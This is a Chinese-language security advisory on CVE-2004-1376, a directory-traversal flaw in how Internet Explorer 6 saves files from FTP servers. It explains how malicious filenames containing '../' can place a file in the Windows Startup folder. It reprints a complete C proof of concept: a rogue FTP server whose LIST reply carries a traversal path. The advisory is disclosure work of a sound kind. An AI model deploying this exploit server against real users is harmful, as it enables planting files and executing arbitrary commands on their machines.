安全研究

安全漏洞
Microsoft Internet Explorer FTP下载路径目录遍历漏洞

发布日期:2004-12-30
更新日期:2005-01-04

受影响系统:
Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 6.0
    - Microsoft Windows XP Professional SP1
    - Microsoft Windows XP Professional
    - Microsoft Windows XP Home SP1
    - Microsoft Windows XP Home
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows ME
    - Microsoft Windows 98 SE
    - Microsoft Windows 98
    - Microsoft Windows 2000 SP3
描述:
CVE(CAN) ID: CVE-2004-1376

Microsoft Internet Explorer是一款流行的WEB浏览器。

Microsoft Internet Explorer的FTP协议实现不正确,远程攻击者可以利用这个漏洞下载文件到本地任意目标系统目录中。

当从通过MSIE从FTP服务器保存文件到本地文件夹,会保存在'local_folder/file_name',不过如果文件名包含'../',文件的实际路径就会更改,通过设置恶意文件名和恶意FTP服务器,诱使用户通过脱拉文件,或者左点击后保存,可导致把文件保存在系统其他目录中,如保存在'C:\Documents and settings\All Users\Start menu\Programs\Start'可导致任意命令执行。

不过利用双击过程来下载文件不受此漏洞影响。

<*来源:Albert Puigsech Galicia (ripe@7a69ezine.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110461358930103&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Albert Puigsech Galicia (ripe@7a69ezine.org)提供了如下测试方法:

/*
* Internet Explorer FTP download path disclosure fucked prof of concept (7a69Adv#17)
*
*   ?DOES NOT WORK USING PASV MODE, YOU MUST CODE IT IF YOU WANT !!!
*
*/

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define MAX_BUF     1024
#define FTP_PORT    21

int main(int argc, char **argv) {
    char ch;
    char buffer[MAX_BUF + 1];
    char ipbuf[MAX_BUF + 1];
    char *local_file, *remote_file;
    int sfdmain, sfdses, sfddata;
    int readed;
    int ip1,ip2,ip3,ip4,port1,port2;
    int fd;
    struct stat st;
    struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
    struct sockaddr_in ftpdata;
    
    if (argc < 3) {
        printf("\t7a69Adv#17 - Internet Explorer FTP download path disclosure prof of \
concept\n");  printf("Use:\n");
        printf("\t%s <local_file> <remote_file>\n", argv[0]);
        exit(0);
    }

    local_file = argv[1];
    remote_file = argv[2];
    
    if ((fd = open(local_file, O_RDONLY)) == -1) {
        perror("open()");
        exit(-1);
    }

    if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket()");
        exit(-1);
    }
    
    if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) == -1) {
        perror("bind()");
        exit(-1);
    }

    if (listen(sfdmain, 1) == -1) {
        perror("listen()");
        exit(-1);
    }

    if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) {
        perror("accept()");
        exit(-1);
    }

    write(sfdses, "200 OK\r\n", 8);

    while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
        buffer[readed] = 0;
        printf(">> %s", buffer);
        if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
        else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8);
        else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8);
        else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8);
        else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9);
        else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8);
        else if (!strncmp(buffer, "PORT ", 5)) {
            sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1, &port2);
            snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
            ftpdata.sin_family = AF_INET;
            ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
            ftpdata.sin_port = htons(port1*256+port2);
            if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
                perror("socket()");
                exit(-1);
            }
            if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr)) == -1) \
{  write(sfdses, "421 OK\r\n", 8);
            } else {
                write(sfdses, "220 OK\r\n", 8);
            }
        }
        else if (!strncmp(buffer, "LIST", 4)) {
            write(sfdses, "150 OK\r\n", 8);
            snprintf(buffer, MAX_BUF, "-rwxrwxrwx    1 0        0              1 Dec 08 07:36 \
/../../../../../../../../../../..%s\r\n", remote_file);  write(sfddata, buffer, \
strlen(buffer));  close(sfddata);
            write(sfdses, "226 OK\r\n", 8);
        
        }
        else if(!strncmp(buffer, "RETR ", 5)) {
            write(sfdses, "150 OK\r\n", 8);
            fstat(fd, &st);
            while(st.st_size-- > 0) {
                read(fd, &ch, 1);
                write(sfddata, &ch, 1);
            }
            close(sfddata);
            write(sfdses, "226 OK\r\n", 8);
        }
        else if (!strncmp(buffer, "QUIT", 4)) {
            write(sfdses, "221 OK\r\n", 8);
            close(sfdses); close(sfdmain); close(sfddata);
        }
        else
            write(sfdses, "500 WTF\r\n", 9);
        

    }
}

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

浏览次数:4680
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障